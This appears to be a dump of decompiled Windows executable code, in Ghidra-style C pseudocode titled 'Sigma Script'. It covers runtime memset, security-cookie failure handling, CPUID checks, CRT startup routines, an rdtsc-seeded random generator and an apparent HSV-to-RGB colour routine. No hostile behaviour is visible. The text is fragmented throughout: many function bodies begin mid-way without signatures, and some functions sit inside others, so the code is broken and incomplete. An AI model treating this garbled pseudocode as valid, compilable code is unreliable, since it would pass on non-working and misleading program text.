Sigma Script
Sigma Script
int32_t ebp3;
uint32_t g416010 = 1;
uint32_t g416ae4;
void** fun_403de0(void** ecx, void** a2, unsigned char a3, void** a4, void** a5, void** a6,
void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void**
a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void**
a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void**
a31, void** a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void**
a39, void** a40, void** a41, ...) {
void** ecx42;
void** edi43;
void** eax44;
int1_t cf45;
int1_t cf46;
int1_t cf47;
void* ecx48;
ecx42 = a4;
edi43 = a2;
if (!ecx42) {
addr_403f33_2:
return a2;
} else {
eax44 = reinterpret_cast<void**>(a3 * 0x1010101);
if (reinterpret_cast<unsigned char>(ecx42) <= reinterpret_cast<unsigned char>(32))
goto addr_403ee5_4;
if (reinterpret_cast<unsigned char>(ecx42) >= reinterpret_cast<unsigned char>(0x80))
goto addr_403e12_6;
}
addr_403e9d_7:
cf45 = static_cast<int1_t>(g416010 >> 1);
if (!cf45) {
addr_403ee5_4:
if (reinterpret_cast<unsigned char>(ecx42) & 3) {
do {
*reinterpret_cast<void***>(edi43) = eax44;
++edi43;
--ecx42;
} while (reinterpret_cast<unsigned char>(ecx42) & 3);
}
} else {
__asm__("movd xmm0, eax");
__asm__("pshufd xmm0, xmm0, 0x0");
goto addr_403eb0_10;
}
if (reinterpret_cast<unsigned char>(ecx42) & 4) {
*reinterpret_cast<void***>(edi43) = eax44;
edi43 = edi43 + 4;
ecx42 = ecx42 - 4;
}
if (reinterpret_cast<unsigned char>(ecx42) & 0xfffffff8) {
do {
*reinterpret_cast<void***>(edi43) = eax44;
*reinterpret_cast<void***>(edi43 + 4) = eax44;
edi43 = edi43 + 8;
ecx42 = ecx42 - 8;
} while (reinterpret_cast<unsigned char>(ecx42) & 0xfffffff8);
goto addr_403f33_2;
}
addr_403eb0_10:
if (reinterpret_cast<unsigned char>(ecx42) < reinterpret_cast<unsigned char>(32)) {
addr_403ed1_16:
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm0");
return a2;
} else {
do {
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm0");
ecx42 = ecx42 - 32;
} while (reinterpret_cast<unsigned char>(ecx42) >= reinterpret_cast<unsigned char>(32));
if (!(reinterpret_cast<unsigned char>(ecx42) & 31))
goto addr_403f33_2; else
goto addr_403ed1_16;
}
addr_403e12_6:
cf46 = static_cast<int1_t>(g416ae4 >> 1);
if (cf46) {
while (ecx42) {
--ecx42;
*reinterpret_cast<void***>(edi43) = eax44;
++edi43;
}
return a2;
}
cf47 = static_cast<int1_t>(g416010 >> 1);
if (!cf47)
goto addr_403ee5_4;
__asm__("movd xmm0, eax");
__asm__("pshufd xmm0, xmm0, 0x0");
ecx48 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(ecx42) +
reinterpret_cast<unsigned char>(edi43));
__asm__("movups [edi], xmm0");
edi43 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi43 + 16) & 0xfffffff0);
ecx42 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ecx48) -
reinterpret_cast<unsigned char>(edi43));
if (reinterpret_cast<unsigned char>(ecx42) <= reinterpret_cast<unsigned char>(0x80))
goto addr_403e9d_7;
do {
__asm__("movdqa [edi], xmm0");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa [edi+0x20], xmm0");
__asm__("movdqa [edi+0x30], xmm0");
__asm__("movdqa [edi+0x40], xmm0");
__asm__("movdqa [edi+0x50], xmm0");
__asm__("movdqa [edi+0x60], xmm0");
__asm__("movdqa [edi+0x70], xmm0");
ecx42 = ecx42 - 0x80;
} while (reinterpret_cast<unsigned char>(ecx42) & 0xffffff00);
goto addr_403eb0_10;
}
int32_t g416880;
uint32_t g41687c;
int32_t g416878;
int32_t g416874;
void** g416870;
void** g41686c;
int16_t g416898;
int16_t g41688c;
int16_t g416868;
int16_t g416864;
int16_t g416860;
int16_t g41685c;
uint32_t g416890;
void** g416884;
void** g416888;
void* g416894;
int32_t g4167d0 = 0;
int32_t g416780 = 0;
int32_t g416784 = 0;
int32_t g416790 = 0;
int32_t g416794 = 0;
void** fun_402f62(uint32_t ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, ...) {
uint32_t eflags9;
int1_t zf10;
void** eax11;
int32_t eax12;
int32_t edx13;
int32_t ebx14;
void** esi15;
void** edi16;
int16_t ss17;
int16_t cs18;
int16_t ds19;
int16_t es20;
int16_t fs21;
int16_t gs22;
void** ebp23;
void** eax24;
void** eax25;
*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags9) + 1) = 0;
zf10 = ecx == g416004;
if (zf10) {
return eax11;
}
eax12 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(23));
*reinterpret_cast<int1_t*>(&eflags9) = 0;
*reinterpret_cast<int1_t*>(&eflags9) = __intrinsic();
*reinterpret_cast<int1_t*>(&eflags9) = eax12 == 0;
*reinterpret_cast<int1_t*>(&eflags9) = eax12 < 0;
*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags9) + 1) = 0;
*reinterpret_cast<int1_t*>(&eflags9) = __undefined();
if (!*reinterpret_cast<int1_t*>(&eflags9))
goto addr_4031f8_5;
addr_4031fd_6:
g416880 = eax12;
g41687c = ecx;
g416878 = edx13;
g416874 = ebx14;
g416870 = esi15;
g41686c = edi16;
g416898 = ss17;
g41688c = cs18;
g416868 = ds19;
g416864 = es20;
g416860 = fs21;
g41685c = gs22;
g416890 = eflags9 & 0xfcffff;
g416884 = ebp23;
g416888 = reinterpret_cast<void**>(__return_address());
g416894 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 8);
g4167d0 = 0x10001;
eax24 = g416888;
g41678c = eax24;
g416780 = 0xc0000409;
g416784 = 1;
g416790 = 1;
g416794 = 2;
eax25 = fun_4031bb(0x40e220, 23);
return eax25;
addr_4031f8_5:
ecx = 2;
__asm__("int 0x29");
goto addr_4031fd_6;
}
struct s0 {
void** f0;
signed char[3] pad4;
void** f4;
};
void** fun_401580(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void** a39, void**
a40, void** a41, void** a42, void** a43, void** a44, void** a45, void** a46, ...) {
void** eax47;
uint32_t fun_402cd0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void** a39, void**
a40, void** a41, void** a42, void** a43, void** a44, void** a45, void** a46, void** a47, ...) {
uint32_t edx48;
uint32_t eax49;
uint32_t edx50;
__asm__("rdtsc ");
edx48 = eax49 ^ eax49 << 13;
edx50 = edx48 ^ edx48 << 17;
return edx50 << 5 ^ edx50;
}
struct s1 {
void** f0;
signed char[3] pad4;
void** f4;
};
struct s2 {
signed char[4] pad4;
void** f4;
};
void** fun_402cf0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, ...) {
void*** edi12;
struct s1* edi13;
struct s2* edi14;
void** esi15;
unsigned char al16;
void** esi17;
void** esi18;
uint32_t ecx19;
struct s3 {
void** f0;
void** f1;
void** f2;
};
struct s4 {
void** f0;
signed char[3] pad4;
void** f4;
};
struct s5 {
signed char[4] pad4;
void** f4;
};
struct s3* fun_402e30(void** ecx, struct s3* a2, void** a3, void** a4, void** a5) {
void*** edi6;
struct s4* edi7;
struct s5* edi8;
void** esi9;
void** esi10;
void** esi11;
__asm__("movd xmm0, esi");
__asm__("cvtdq2pd xmm0, xmm0");
__asm__("divsd xmm0, [0x4137b8]");
*edi6 = *reinterpret_cast<void***>(ecx);
edi7 = reinterpret_cast<struct s4*>(&edi8->f4);
esi9 = ecx + 4;
__asm__("fld qword [ebp-0x8]");
__asm__("fld qword [0x4137a8]");
fun_40cbfa(ecx);
edi7->f0 = *reinterpret_cast<void***>(esi9);
esi10 = esi9 + 4;
__asm__("fstp qword [ebp-0x8]");
edi7->f4 = *reinterpret_cast<void***>(esi10);
esi11 = esi10 + 4;
__asm__("subsd xmm0, xmm1");
__asm__("andps xmm0, [0x4139d0]");
__asm__("subsd xmm1, xmm0");
__asm__("cvtpd2ps xmm1, xmm1");
if (reinterpret_cast<signed char>(esi11) < reinterpret_cast<signed char>(0))
goto addr_402f1e_11;
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(60)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0x78)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0xb4)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0xf0)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0x12c)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed
char>(0x168)) {
addr_402f1e_11:
__asm__("movss xmm2, [ebp-0x4]");
__asm__("movss xmm3, [ebp-0x4]");
__asm__("movss xmm1, [ebp-0x4]");
} else {
__asm__("movss xmm2, [0x413790]");
__asm__("xorps xmm3, xmm3");
}
} else {
__asm__("movaps xmm2, xmm1");
__asm__("xorps xmm3, xmm3");
__asm__("movss xmm1, [0x413790]");
}
} else {
__asm__("movaps xmm3, xmm1");
__asm__("xorps xmm2, xmm2");
__asm__("movss xmm1, [0x413790]");
}
} else {
__asm__("movss xmm3, [0x413790]");
__asm__("xorps xmm2, xmm2");
}
} else {
__asm__("movss xmm3, [0x413790]");
__asm__("movaps xmm2, xmm1");
__asm__("xorps xmm1, xmm1");
}
} else {
__asm__("movss xmm2, [0x413790]");
__asm__("movaps xmm3, xmm1");
__asm__("xorps xmm1, xmm1");
}
__asm__("movss xmm0, [0x4137c0]");
__asm__("mulss xmm2, xmm0");
__asm__("mulss xmm3, xmm0");
__asm__("cvttss2si ecx, xmm2");
__asm__("mulss xmm1, xmm0");
a2->f2 = ecx;
__asm__("cvttss2si ecx, xmm3");
a2->f1 = ecx;
__asm__("cvttss2si ecx, xmm1");
a2->f0 = ecx;
return a2;
}
unsigned char fun_40cebf(void** ecx, int32_t a2, int32_t a3, int32_t a4);
__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
__asm__("wait ");
al2 = fun_404cad(ecx);
if (al2) {
__asm__("fxch st0, st1");
__asm__("fst qword [ebp+0xffffff7a]");
__asm__("fxch st0, st1");
__asm__("fst qword [ebp-0x7e]");
}
fun_40b467(ecx);
al6 = fun_40cebf(ecx, ebx3, v4, v5);
return al6;
}
/* (image base) */
int32_t image_base_ = 0x403603;
void fun_403845() {
int32_t* esi1;
int32_t edi2;
esi1 = reinterpret_cast<int32_t*>(0x414854);
if (!1) {
do {
edi2 = *esi1;
if (edi2) {
image_base_(edi2);
edi2(edi2);
}
++esi1;
} while (reinterpret_cast<uint32_t>(esi1) < 0x414854);
}
return;
}
void** g416ef4;
void** g416ef8;
void fun_404e57(void** a1, void** a2, void** a3, void** a4, int32_t* a5);
void** fun_404fdd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** fun_4060e8(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10);
void** fun_40602c(void** ecx, void** a2, void** a3, void** a4, void** a5);
void** g0;
void** g416ee4;
void** g416eec;
void** fun_406c46(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16);
v5 = reinterpret_cast<void**>(__return_address());
v6 = ebp7;
ebp8 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 4 - 4);
v9 = esi10;
if (a2 == 2 || a2 == 1) {
v11 = ebx12;
v13 = edi14;
edi15 = reinterpret_cast<void**>(0);
GetModuleFileNameW();
ebx16 = g416ef4;
g416ef8 = reinterpret_cast<void**>(0x416b98);
if (!ebx16 || !*reinterpret_cast<void***>(ebx16)) {
ebx16 = reinterpret_cast<void**>(0x416b98);
}
v17 = reinterpret_cast<int32_t*>(ebp8 - 12);
v18 = reinterpret_cast<void**>(ebp8 + 0xfffffffc);
fun_404e57(ebx16, 0, 0, v18, v17);
eax19 = fun_404fdd(0, 0, 2, ebx16, 0, 0, v18, *reinterpret_cast<void***>(&v17));
esi20 = eax19;
if (!esi20)
goto addr_404dbc_6;
} else {
eax24 = fun_4060e8(ecx, v9, v21, v22, v23, v6, v5, a2, a3, a4);
*reinterpret_cast<void***>(eax24) = reinterpret_cast<void**>(22);
fun_40602c(ecx, v9, v25, v26, v27);
eax28 = reinterpret_cast<void**>(22);
goto addr_404e52_8;
}
fun_404e57(ebx16, esi20, esi20, ebp8 + 0xfffffffc, ebp8 - 12);
if (!reinterpret_cast<int1_t>(a2 == 1)) {
v29 = reinterpret_cast<void**>(ebp8 + 0xfffffff8);
eax30 = fun_40719a(ecx, esi20, v29);
ebx31 = eax30;
ecx32 = v29;
if (!ebx31) {
ecx32 = reinterpret_cast<void**>(0);
eax33 = reinterpret_cast<void**>(0);
zf34 = g0 == 0;
if (!zf34) {
do {
eax33 = eax33 + 4;
++ecx32;
} while (*reinterpret_cast<void***>(eax33));
}
g416ee4 = ecx32;
ebx31 = reinterpret_cast<void**>(0);
g416eec = reinterpret_cast<void**>(0);
}
fun_406c46(ecx32, 0, 0, 0x6b98, 0x104, v13, v11, v9, 0, 0, 0, v6, v5, a2, a3, a4);
ecx = reinterpret_cast<void**>(0);
} else {
g416ee4 = reinterpret_cast<void**>(0xffffffff);
eax35 = esi20;
esi20 = reinterpret_cast<void**>(0);
g416eec = eax35;
goto addr_404df9_17;
}
addr_404e47_18:
fun_406c46(ecx, esi20, 0, 0x6b98, 0x104, v13, v11, v9, 0, 0, 0, v6, v5, a2, a3, a4);
eax28 = ebx31;
addr_404e52_8:
return eax28;
addr_404df9_17:
ebx31 = edi15;
goto addr_404e47_18;
addr_404dbc_6:
eax37 = fun_4060e8(ecx, 0, 0x416b98, 0x104, v13, v11, v9, 0, v36, 0);
edi15 = reinterpret_cast<void**>(12);
*reinterpret_cast<void***>(eax37) = reinterpret_cast<void**>(12);
goto addr_404df9_17;
}
int32_t g41600c = 1;
eax2 = 0;
zf3 = reinterpret_cast<uint1_t>(g41600c == 0);
*reinterpret_cast<unsigned char*>(&eax2) = zf3;
return eax2;
}
void** fun_404c5d(void** ecx, void** a2, void** a3, void** a4, void** a5);
void** g416b94;
int32_t g416da8;
void** fun_407a01(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10);
void** fun_405091(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** g416dac;
uint32_t fun_405267(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
int1_t zf13;
void** v14;
void** esi15;
void** edi16;
void** eax17;
void** eax18;
void** ecx19;
uint32_t edi20;
zf13 = g416da8 == 0;
if (zf13) {
v14 = esi15;
eax17 = fun_407a01(edi16, v14, __return_address(), a2, a3, a4, a5, a6, a7, a8);
if (eax17) {
eax18 = fun_405091(ecx, eax17, edi16, v14, __return_address(), a2, a3, a4);
ecx19 = eax17;
if (eax18) {
ecx19 = reinterpret_cast<void**>(0x416da8);
g416dac = eax18;
fun_404c7c(0x416da8, eax18);
edi20 = 0;
} else {
edi20 = 0xffffffff;
}
fun_406c46(ecx19, 0, edi16, v14, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
ecx = reinterpret_cast<void**>(0);
} else {
edi20 = 0xffffffff;
}
fun_406c46(ecx, eax17, edi16, v14, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
return edi20;
} else {
return 0;
}
}
uint32_t fun_403ad5();
struct s6 {
signed char[4] pad4;
uint32_t f4;
uint32_t f8;
};
uint32_t g416aa0;
eax2 = fun_403ad5();
if (!eax2) {
addr_40334b_2:
return 0;
} else {
eax3 = g18;
edx4 = eax3->f4;
do {
zf5 = g416aa0 == edx4;
if (zf5) {
g416aa0 = edx4;
}
if (!0)
goto addr_40334b_2;
} while (edx4);
}
return 1;
}
void** fun_40530e(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** esi12;
void** edi13;
int32_t eax14;
void** eax15;
v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
esi12 = a2;
while (esi12 != a3) {
edi13 = *reinterpret_cast<void***>(esi12);
if (!edi13)
goto addr_405339_4;
image_base_(edi13);
eax14 = reinterpret_cast<int32_t>(edi13(edi13));
if (eax14)
goto addr_405343_6;
addr_405339_4:
esi12 = esi12 + 4;
}
addr_405343_6:
eax15 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax15;
}
/* (image base) */
int16_t image_base_;
int32_t g40003c;
struct s7 {
signed char[8] pad8;
int32_t f8;
};
struct s8 {
signed char[8] pad8;
int32_t f8;
uint32_t fc;
signed char[20] pad36;
int32_t f24;
};
struct s9 {
signed char[60] pad60;
int32_t f3c;
};
struct s10 {
signed char[4] pad4;
int32_t f4;
};
void** g416dbc;
void** fun_40695e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void fun_405ccd(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);
void fun_408acc(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);
int32_t fun_40c86c(void** ecx, void** a2, void** a3, void** a4, void** a5);
void** fun_405e62(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** g417250;
v9 = ebp10;
eax11 = g416004;
ecx12 = reinterpret_cast<void**>(32 - (eax11 & 31));
__asm__("ror eax, cl");
eax13 = reinterpret_cast<void**>(g416004);
zf14 = g416dbc == eax13;
if (!zf14) {
v15 = reinterpret_cast<void**>(12);
fun_40cab0(0x414948, 12, v9);
eax16 = fun_40695e(ecx12, 0x414948, 12, v9, __return_address(), a2, a3, a4, a5, a6, a7,
a8);
esi17 = *reinterpret_cast<void***>(eax16 + 12);
if (esi17) {
ecx12 = esi17;
image_base_(ecx12);
esi17(ecx12);
v15 = reinterpret_cast<void**>(0xfffffffe);
}
fun_405ccd(ecx12, 0x414948, v15, v9, __return_address(), a2, a3);
eax18 = fun_408a71(ecx12);
if (eax18) {
fun_408acc(ecx12, 22, 0x414948, v15, v9, __return_address(), a2, a3, a4);
ecx12 = reinterpret_cast<void**>(22);
}
zf19 = (g416040 & 2) == 0;
if (!zf19) {
eax20 = fun_40c86c(ecx12, 23, 0x414948, v15, v9);
if (eax20) {
ecx12 = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx12, 3, 0x40000015, 1, 23, 0x414948, v15, v9);
}
fun_40559b(ecx12, 3);
if (!0 && (v21 = g417250, eax22 = reinterpret_cast<void**>(HeapFree(ecx12, v21, 0,
0x414948)), !eax22)) {
eax23 = fun_4060e8(ecx12, esi17, v21, 0, 0x414948,
reinterpret_cast<int32_t>(__zero_stack_offset()) - 4, 3, 0x414948, v15, v9);
eax24 = reinterpret_cast<void**>(GetLastError(ecx12));
eax25 = fun_40606f(ecx12, eax24);
*reinterpret_cast<void***>(eax23) = eax25;
}
goto 3;
} else {
eax26 = fun_404c5d(ecx12, a2, v9, __return_address(), a2);
g416dbc = eax26;
return;
}
}
struct s11 {
signed char[6] pad6;
uint16_t f6;
signed char[12] pad20;
uint16_t f14;
};
uint32_t g416ae0;
int32_t fun_403904() {
int32_t eax1;
uint32_t eax2;
uint32_t edi3;
uint32_t edi4;
uint32_t ecx5;
uint32_t eax6;
uint32_t eax7;
g416ae0 = 0;
g416010 = g416010 | 1;
eax1 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(10));
if (eax1) {
if (__intrinsic() ^ 0x756e6547 | __intrinsic() ^ 0x6c65746e | __intrinsic() ^ 0x49656e69 ||
(eax2 = __intrinsic() & 0xfff3ff0, eax2 != 0x106c0) && (eax2 != 0x20660 && (eax2 != 0x20670
&& (eax2 != 0x30650 && (eax2 != 0x30660 && eax2 != 0x30670))))) {
edi3 = g416ae4;
} else {
edi4 = g416ae4;
edi3 = edi4 | 1;
g416ae4 = edi3;
}
ecx5 = __intrinsic();
if (__intrinsic() >= 7) {
ecx5 = ecx5;
if (__intrinsic() & 0x200) {
g416ae4 = edi3 | 2;
}
}
eax6 = g416010;
eax7 = eax6 | 2;
g416ae0 = 1;
g416010 = eax7;
if (!(ecx5 & 0x100000) || ((g416ae0 = 2, g416010 = eax7 | 4, (ecx5 & 0x8000000) == 0) ||
!(ecx5 & 0x10000000))) {
}
}
return 0;
}
al2 = fun_4041e7(ecx);
if (al2) {
al3 = fun_403ff6(ecx);
if (al3) {
return 1;
} else {
fun_404223();
}
}
return 0;
}
uint32_t g417288;
uint32_t fun_403ad5() {
uint32_t eax1;
int1_t zf2;
eax1 = 0;
zf2 = g417288 == 0;
*reinterpret_cast<unsigned char*>(&eax1) = reinterpret_cast<uint1_t>(!zf2);
return eax1;
}
struct s12 {
uint32_t f0;
uint32_t f4;
uint32_t f8;
};
if (a2) {
if (a2->f0 == a2->f8) {
__asm__("ror eax, cl");
eax3 = g416004;
a2->f0 = eax3;
a2->f4 = eax3;
a2->f8 = eax3;
}
eax4 = 0;
} else {
eax4 = 0xffffffff;
}
return eax4;
}
void** fun_40888e(void** ecx, void** a2, void** a3, void** a4, void** a5);
int32_t fun_405af9(void** ecx, void** a2, void** a3, void** a4, void** a5);
uint32_t fun_40352e() {
void* ebp1;
void* v2;
uint32_t eax3;
uint32_t eax4;
uint32_t v5;
uint32_t v6;
uint32_t g416ad8;
void fun_40383d(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8) {
g416ad8 = 0;
return;
}
struct s13 {
signed char[8] pad8;
int32_t f8;
};
void fun_403b82(struct s13*** a1, int32_t a2) {
a2(a1);
return;
}
eax2 = reinterpret_cast<int32_t>(ecx());
return eax2;
}
struct s14 {
int16_t f0;
signed char[58] pad60;
int32_t f3c;
};
struct s15 {
signed char[8] pad8;
int32_t f8;
uint32_t fc;
signed char[20] pad36;
uint32_t f24;
};
struct s16 {
signed char[60] pad60;
int32_t f3c;
};
eax2 = g0;
g0 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff0);
eax3 = fun_40c990(0x400000);
if (!eax3 || (eax4 = fun_40c880(0x400000, a1 - 0x400000), eax4 == 0)) {
g0 = eax2;
return 0;
} else {
eax5 = ~(eax4->f24 >> 31) & 1;
g0 = eax2;
return eax5;
}
}
*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags5) + 1) = 0;
esp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4);
if (*reinterpret_cast<void***>(a2) != 0xfffffffe) {
ecx7 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 4)) +
reinterpret_cast<unsigned char>(a3) ^ *reinterpret_cast<uint32_t*>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) + reinterpret_cast<unsigned char>(a3));
fun_402f62(ecx7, edi8, esi9, ebp10, __return_address(), a2, a3, a4);
esp6 = esp6 - 4 + 4;
}
ecx11 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 12)) +
reinterpret_cast<unsigned char>(a3) ^ *reinterpret_cast<uint32_t*>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2 + 8)) + reinterpret_cast<unsigned char>(a3));
zf12 = ecx11 == g416004;
if (zf12) {
return *reinterpret_cast<void***>(a2 + 8);
}
eax13 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(23));
*reinterpret_cast<int1_t*>(&eflags5) = 0;
*reinterpret_cast<int1_t*>(&eflags5) = __intrinsic();
*reinterpret_cast<int1_t*>(&eflags5) = eax13 == 0;
*reinterpret_cast<int1_t*>(&eflags5) = eax13 < 0;
*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags5) + 1) = 0;
*reinterpret_cast<int1_t*>(&eflags5) = __undefined();
if (!*reinterpret_cast<int1_t*>(&eflags5))
goto addr_4031f8_8;
addr_4031fd_9:
g416880 = eax13;
g41687c = ecx11;
g416878 = edx14;
g416874 = ebx15;
g416870 = esi9;
g41686c = edi8;
g416898 = ss16;
g41688c = cs17;
g416868 = ds18;
g416864 = es19;
g416860 = fs20;
g41685c = gs21;
g416890 = eflags5 & 0xfcffff;
g416884 = ebp10;
g416888 = reinterpret_cast<void**>(__return_address());
g416894 = reinterpret_cast<void*>(esp6 + 4 + 4 + 4 - 4 + 8);
g4167d0 = 0x10001;
eax22 = g416888;
g41678c = eax22;
g416780 = 0xc0000409;
g416784 = 1;
g416790 = 1;
g416794 = 2;
eax23 = fun_4031bb(0x40e220, 23);
return eax23;
addr_4031f8_8:
ecx11 = 2;
__asm__("int 0x29");
goto addr_4031fd_9;
}
struct s17 {
void** f0;
signed char[3] pad4;
void** f4;
signed char[3] pad8;
void** f8;
};
int32_t fun_404470(void** ecx, int32_t a2, void** a3, void** a4, uint32_t a5, void** a6, void** a7,
void** a8, struct s17* a9);
void fun_404190(void** ecx, void** a2, uint32_t a3, void** a4, void** a5, void** a6, struct s17*
a7) {
fun_404470(ecx, 1, __return_address(), a2, a3, a4, a5, a6, a7);
goto ecx;
}
int32_t g416b2c;
esi1 = g416b2c;
if (esi1) {
do {
DeleteCriticalSection();
--g416b2c;
--esi1;
} while (esi1);
}
return 1;
}
void** g416020 = reinterpret_cast<void**>(0xff);
eax2 = g416020;
if (eax2 != 0xffffffff) {
fun_404370(ecx, eax2);
g416020 = reinterpret_cast<void**>(0xffffffff);
}
return 1;
}
struct s18 {
signed char[16] pad16;
void** f10;
signed char[3] pad20;
void** f14;
};
v2 = reinterpret_cast<int32_t>(__return_address());
zf3 = reinterpret_cast<int1_t>(g416020 == 0xffffffff);
if (zf3) {
return 0;
}
v4 = edi5;
GetLastError();
v6 = g416020;
eax7 = fun_4043ab(ecx, v6);
ecx8 = v6;
if (eax7 == -1)
goto addr_403fa4_4;
if (!eax7) {
v9 = g416020;
eax10 = fun_4043e6(ecx8, v9, 0xff);
ecx8 = reinterpret_cast<void**>(0xff);
if (eax10) {
eax13 = fun_405d15(0xff, 1, 40, esi11, v4, ebx12, *reinterpret_cast<void***>(&v2));
esi14 = eax13;
ecx15 = reinterpret_cast<void**>(40);
if (!esi14 || (v16 = g416020, eax17 = fun_4043e6(40, v16, esi14), ecx15 = esi14,
!eax17)) {
v18 = g416020;
fun_4043e6(ecx15, v18, 0);
ecx15 = reinterpret_cast<void**>(0);
} else {
esi14 = reinterpret_cast<void**>(0);
}
fun_405d10(ecx15, esi14, esi11, v4);
ecx8 = esi14;
} else {
addr_403fa4_4:
}
}
SetLastError(ecx8);
goto ebx12;
}
int32_t fun_4042ec(void** ecx, int32_t a2, int32_t a3, int32_t* a4, int32_t* a5);
int32_t g416038 = 0;
int32_t g416034 = 0;
int32_t g41603c = 0;
int32_t fun_404470(void** ecx, int32_t a2, void** a3, void** a4, uint32_t a5, void** a6, void** a7,
void** a8, struct s17* a9) {
int32_t eax10;
int32_t ebp11;
int32_t eax12;
g416038 = a2;
g416034 = eax10;
g41603c = ebp11;
return eax12;
}
eax2();
return;
}
struct s19 {
void** f0;
signed char[3] pad4;
int32_t f4;
};
int32_t fun_404120(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6);
v4 = ebp5;
v6 = a1;
v7 = a2;
v8 = a3;
esp9 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 - 4 - 4);
v10 = g0;
eax11 = g416004;
v12 = eax11 ^ reinterpret_cast<unsigned char>(esp9);
g0 = esp9;
while (*reinterpret_cast<void***>(a2 + 12) != 0xfffffffe && (a3 == 0xfffffffe ||
reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 12)) >
reinterpret_cast<unsigned char>(a3))) {
ebx13 = reinterpret_cast<struct s19*>((reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2 + 8)) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1))) +
reinterpret_cast<uint32_t>(*reinterpret_cast<void***>(a2 + 12) + reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2 + 12)) * 2) * 4 + 16);
ecx14 = ebx13->f0;
